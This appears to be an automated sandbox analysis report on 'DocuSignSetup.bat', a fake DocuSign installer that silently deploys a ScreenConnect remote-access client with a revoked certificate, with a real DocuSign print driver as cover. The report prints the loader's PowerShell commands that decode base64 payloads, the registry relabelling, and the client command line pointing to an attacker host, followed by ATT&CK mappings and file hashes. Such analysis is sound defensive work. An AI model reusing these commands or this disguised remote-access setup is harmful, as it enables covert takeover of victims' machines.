Overview

overview

8

Static

static

1

DocuSignSetup.bat

windows10-2004-x64

8

DocuSignSetup.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 22:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    DocuSignSetup.bat
  • Size 11.6MB
  • Sample260808-2dv5psff57
  • SHA256 7a64f51ad67677b7d0aeab9c5b0e6844bcf6f3d0b0970fbf8d9f3052b6be152d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwaredefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwarerevoked_codesignspyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Port Monitors 1 TTPs 13 IoCs

    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

    persistence
  • Manipulates Digital Signatures 1 TTPs 1 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 43 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 57 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DocuSignSetup.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3212
    • C:\Windows\system32\fltMC.exe
      fltmc
      2⤵
        PID:4064
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:476
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4792
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3352
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$p=Start-Process -FilePath 'mshta.exe' -ArgumentList ('"'+$env:PROGRESS_HTA+'"') -PassThru; Set-Content -LiteralPath $env:PIDFILE -Value $p.Id"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\system32\mshta.exe
          "C:\Windows\system32\mshta.exe" C:\Users\Admin\AppData\Local\Temp\DocuSign_50053739\setup.hta
          3⤵
            PID:4180
        • C:\Windows\system32\msiexec.exe
          msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\DocuSign_50053739\setup.msi" /quiet /norestart
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4768
        • C:\Users\Admin\AppData\Local\Temp\DocuSign_50053739\setup.exe
          "C:\Users\Admin\AppData\Local\Temp\DocuSign_50053739\setup.exe" /quiet /norestart
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4992
          • C:\Windows\Temp\{466C24BE-491F-4238-B1F0-8AA98071F434}\.cr\setup.exe
            "C:\Windows\Temp\{466C24BE-491F-4238-B1F0-8AA98071F434}\.cr\setup.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\DocuSign_50053739\setup.exe" -burn.filehandle.attached=808 -burn.filehandle.self=804 /quiet /norestart
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1468
            • C:\Windows\Temp\{2858DF5C-498A-4746-BF31-9CB8B7CBD56D}\.be\Docusign Print Driver x64.exe
              "C:\Windows\Temp\{2858DF5C-498A-4746-BF31-9CB8B7CBD56D}\.be\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{3AB3347D-2FEA-49DC-A01C-830E1820DCB0} {2A2E655D-D517-43D9-A0B9-98C3A2171351} 1468
              4⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4544
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -NonInteractive -Command "$ErrorActionPreference='Stop'; $dir=Join-Path $env:ProgramData 'DocuSign'; $null=New-Item -ItemType Directory -Path $dir -Force; $icon=Join-Path $dir 'DocuSign.ico'; Copy-Item -LiteralPath $env:SHORTCUT_SOURCE -Destination $icon -Force; $desktop=Join-Path $env:PUBLIC 'Desktop'; $null=New-Item -ItemType Directory -Path $desktop -Force; $shortcut=Join-Path $desktop 'DocuSign.url'; [IO.File]::WriteAllLines($shortcut,[string[]]@('[InternetShortcut]','URL=https://www.docusign.com',('IconFile='+$icon),'IconIndex=0'),[Text.Encoding]::ASCII)"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1996
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$roots=@('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'); Get-ItemProperty -Path $roots -ErrorAction SilentlyContinue | Where-Object {$_.DisplayName -and $_.DisplayName -ne 'DocuSignSetup' -and ($_.DisplayName -match '(?i)(^DocusignSetup(?:\s.*)?$)')} | ForEach-Object {Set-ItemProperty -LiteralPath $_.PSPath -Name DisplayName -Value 'DocuSignSetup'; Set-ItemProperty -LiteralPath $_.PSPath -Name Publisher -Value 'DocuSign, Inc.'}"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious behavior: EnumeratesProcesses
          PID:5456
        • C:\Windows\system32\taskkill.exe
          taskkill /PID 4180 /F
          2⤵
          • Kills process with taskkill
          PID:124
        • C:\Windows\system32\mshta.exe
          mshta.exe "C:\Users\Admin\AppData\Local\Temp\DocuSign_50053739\done.hta"
          2⤵
            PID:3516
        • C:\Windows\system32\msiexec.exe
          C:\Windows\system32\msiexec.exe /V
          1⤵
          • Enumerates connected drives
          • Boot or Logon Autostart Execution: Authentication Package
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • Modifies Internet Explorer settings
          • Modifies data under HKEY_USERS
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4488
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding 89EA45849C3186D3E49FA26C3F838540
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2208
            • C:\Windows\SysWOW64\rundll32.exe
              rundll32.exe "C:\Windows\Installer\MSI3DBB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240729890 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
              3⤵
              • Loads dropped DLL
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              PID:1076
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding A9729778900BA6A262B689FA4030D92D E Global\MSI0000
            2⤵
            • Loads dropped DLL
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:3248
          • C:\Windows\System32\MsiExec.exe
            C:\Windows\System32\MsiExec.exe -Embedding 8193229A2539515DD6B564EB2A4CEBE4
            2⤵
            • Loads dropped DLL
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3208
            • C:\Windows\system32\rundll32.exe
              rundll32.exe "C:\Windows\Installer\MSI9F57.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240754609 21 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
              3⤵
              • Loads dropped DLL
              • Drops file in Windows directory
              PID:1340
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding A7F9A04A5C4479A56281DE3A5420669B
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:5260
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding 1652C1D8EBE7EAAF2AD35FB45C9A16E8 E Global\MSI0000
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:2940
          • C:\Windows\System32\MsiExec.exe
            C:\Windows\System32\MsiExec.exe -Embedding 54E744C6AE1DE85E5353403D304C6164 E Global\MSI0000
            2⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Checks SCSI registry key(s)
            • Modifies data under HKEY_USERS
            • Suspicious use of SetWindowsHookEx
            PID:2600
          • C:\Windows\system32\NET.exe
            NET STOP SPOOLER
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:612
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 STOP SPOOLER
              3⤵
                PID:4576
            • C:\Windows\system32\NET.exe
              NET START SPOOLER
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5508
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 START SPOOLER
                3⤵
                  PID:4512
              • C:\Windows\system32\rundll32.exe
                rundll32 printui.dll,PrintUIEntry /q /dd /m "DocuSignPrintDriver"
                2⤵
                  PID:3900
                • C:\Windows\system32\rundll32.exe
                  rundll32 printui.dll,PrintUIEntry /if /b "Print to Docusign" /f "C:\Program Files\Docusign\Print Driver\\Driver\DocuSignPrintDriver.inf" /r "nul:" /m "DocuSignPrintDriver"
                  2⤵
                  • Drops file in Windows directory
                  • Modifies data under HKEY_USERS
                  PID:2592
              • C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.exe
                "C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=87hermana26laafirmacion.vip&p=8041&s=d410566a-92ab-4203-8bb9-f5bfd82fb006&k=BgIAAACkAABSU0ExAAgAAAEAAQDRy0DjuZAhmR7PgstiFKtlAv7E0zbL1z3gc4FH00l1lD%2bIWV8X%2fGSyvbEnRBEK468qW1W1gQegLl9L0n%2fuTGKhCEMBuolF49rRwRNqOJDRyHTuZnOhTIVIlAiEtxUuCZvA2QSiY8hsbwKxsjSY26pabU%2fKe6gcAcD1NyQ6TEEUjNm8RwnMCGSzixQ3F0S%2bKNdiMTe1KRAMkFfOwF2VwIbhk90qEi1oodjVyXcq%2ft5veQGcFbfWxRE83cXVedxQvJwXV1OTzIxe%2f3QbI15XzwxuQDmQvkQDFWbfaoLO76iEaj8scMxebs9Uis5Ofa3J7WcT4kBEUx4y4Wrd3SUiRku%2f"
                1⤵
                • Sets service image path in registry
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops file in System32 directory
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4756
                • C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe
                  "C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe" "RunRole" "3318f3a9-c4c0-45ec-9885-bd7903e85b51" "User"
                  2⤵
                  • Executes dropped EXE
                  PID:2112
                • C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe
                  "C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe" "RunRole" "67befc27-af8d-47a8-9350-11f28d9c3bf2" "System"
                  2⤵
                  • Executes dropped EXE
                  • Checks processor information in registry
                  • Modifies data under HKEY_USERS
                  PID:1112
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Checks SCSI registry key(s)
                PID:4936
              • C:\Windows\system32\srtasks.exe
                C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                1⤵
                  PID:3560
                • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                  "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.runonce
                  1⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:1604
                  • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                    "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /quiet /norestart /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260808232853.log"
                    2⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:2348
                    • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                      "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.filehandle.attached=556 -burn.filehandle.self=576 /quiet /norestart /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260808232853.log"
                      3⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:1980
                      • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                        "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{9217BB9C-E0D1-4317-93A4-6D464EF1C536} {D12511AE-EB91-4971-9644-A5528A4D4F0A} 1980
                        4⤵
                        • Executes dropped EXE
                        • Adds Run key to start application
                        • System Location Discovery: System Language Discovery
                        • Modifies registry class
                        PID:4860
                • C:\Windows\system32\DrvInst.exe
                  DrvInst.exe "4" "1" "C:\Program Files\Docusign\Print Driver\Driver\DocuSignPrintDriver.inf" "9" "4a43c781f" "0000000000000188" "WinSta0\Default" "000000000000016C" "208" "C:\Program Files\Docusign\Print Driver\Driver"
                  1⤵
                  • Manipulates Digital Signatures
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  • Checks SCSI registry key(s)
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:4680
                  • C:\Windows\system32\rundll32.exe
                    rundll32.exe C:\Windows\system32\pnpui.dll,InstallSecurityPromptRunDllW 20 Global\{AAB7AC8F-FFB1-46D0-8AB3-06ECA07F1A86} Global\{98D9CA3C-42BE-4273-A9AA-E1DD26587376} C:\Windows\System32\DriverStore\Temp\{0f52d2e4-f9d9-7e48-9e83-040898573568}\DocuSignPrintDriver.inf C:\Windows\System32\DriverStore\Temp\{0f52d2e4-f9d9-7e48-9e83-040898573568}\DocuSignPrintDriver.cat
                    2⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:4140
                • C:\PROGRA~1\Docusign\PRINTD~1\DocuSign.PrintDriverApplication.exe
                  C:\PROGRA~1\Docusign\PRINTD~1\DOCUSI~1.EXE
                  1⤵
                  • Executes dropped EXE
                  • Drops file in Program Files directory
                  PID:4100
                • C:\Windows\System32\spoolsv.exe
                  C:\Windows\System32\spoolsv.exe
                  1⤵
                  • Boot or Logon Autostart Execution: Port Monitors
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  • Checks SCSI registry key(s)
                  • Modifies data under HKEY_USERS
                  PID:3164
                • C:\Windows\system32\DrvInst.exe
                  DrvInst.exe "4" "d" "C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf" "9" "43057df13" "0000000000000184" "WinSta0\Default" "000000000000016C" "208" "C:\Windows\system32\spool\tools\Microsoft Print To PDF"
                  1⤵
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  • Modifies data under HKEY_USERS
                  PID:5752

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      2
                      T1059

                      PowerShell

                      1
                      T1059.001

                      Windows Command Shell

                      1
                      T1059.003

                      Persistence

                      Boot or Logon Autostart Execution

                      4
                      T1547

                      Authentication Package

                      1
                      T1547.002

                      Port Monitors

                      1
                      T1547.010

                      Registry Run Keys / Startup Folder

                      2
                      T1547.001

                      Create or Modify System Process

                      1
                      T1543

                      Windows Service

                      1
                      T1543.003

                      Event Triggered Execution

                      1
                      T1546

                      Component Object Model Hijacking

                      1
                      T1546.015

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      4
                      T1547

                      Authentication Package

                      1
                      T1547.002

                      Port Monitors

                      1
                      T1547.010

                      Registry Run Keys / Startup Folder

                      2
                      T1547.001

                      Create or Modify System Process

                      1
                      T1543

                      Windows Service

                      1
                      T1543.003

                      Event Triggered Execution

                      1
                      T1546

                      Component Object Model Hijacking

                      1
                      T1546.015

                      Defense Evasion

                      Hide Artifacts

                      1
                      T1564

                      Ignore Process Interrupts

                      1
                      T1564.011

                      Modify Registry

                      3
                      T1112

                      Subvert Trust Controls

                      1
                      T1553

                      SIP and Trust Provider Hijacking

                      1
                      T1553.003

                      Credential Access

                      Discovery

                      Peripheral Device Discovery

                      2
                      T1120

                      Query Registry

                      5
                      T1012

                      System Information Discovery

                      4
                      T1082

                      System Location Discovery

                      1
                      T1614

                      System Language Discovery

                      1
                      T1614.001

                      Lateral Movement

                      Collection

                      Command and Control

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      e593bd9.rbs
                      • Path C:\Config.Msi\e593bd9.rbs
                      • Size 214KB
                      • SHA256 839f4d202f001bfdf154a64f2f00bbb75e074945b999bcc81e59b84c47ba45ee
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      e593bde.rbs
                      • Path C:\Config.Msi\e593bde.rbs
                      • Size 710KB
                      • SHA256 2338081cc7350484219c14b3e9393569761d70b4286ef89ed8cac9f0985ab4b0
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Client.Override.en-US.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.Override.en-US.resources
                      • Size 368B
                      • SHA256 b3f0ca4ad4a60a92763f1fdb0dfc7a9371c499b702db48588d415d92b9c3625b
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      Client.Override.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.Override.resources
                      • Size 54KB
                      • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Client.en-US.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.en-US.resources
                      • Size 47KB
                      • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Client.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.resources
                      • Size 26KB
                      • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.Client.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.Client.dll
                      • Size 192KB
                      • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.ClientService.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.dll
                      • Size 67KB
                      • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.ClientService.exe
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.exe
                      • Size 93KB
                      • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.WindowsAuthenticationPackage.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsAuthenticationPackage.dll
                      • Size 254KB
                      • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.WindowsClient.exe
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe
                      • Size 595KB
                      • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.WindowsClient.exe.config
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe.config
                      • Size 266B
                      • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      ScreenConnect.WindowsCredentialProvider.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsCredentialProvider.dll
                      • Size 837KB
                      • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      app.config
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\app.config
                      • Size 2KB
                      • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      system.config
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\system.config
                      • Size 949B
                      • SHA256 4f22f0b0b398c8f28e3595bb6150b31b5232940cd8f562322af5705221b88aa7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      DocuSign.PrintDriverApplication.exe
                      • Path C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                      • Size 552KB
                      • SHA256 e1f04f8b64dfdfbcb8772cb9a16ce94b1112c665e99a85fcf37f683321f0fc3b
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 948B
                      • SHA256 beb89f9355be2debcce3233a89ad4d63ec861b41b73c309d63444f4b800dc129
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 948B
                      • SHA256 0e040c4c0fe42a9a0e0076fc1b21952f4e1b7d9a3928c98d104f184370ec6428
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

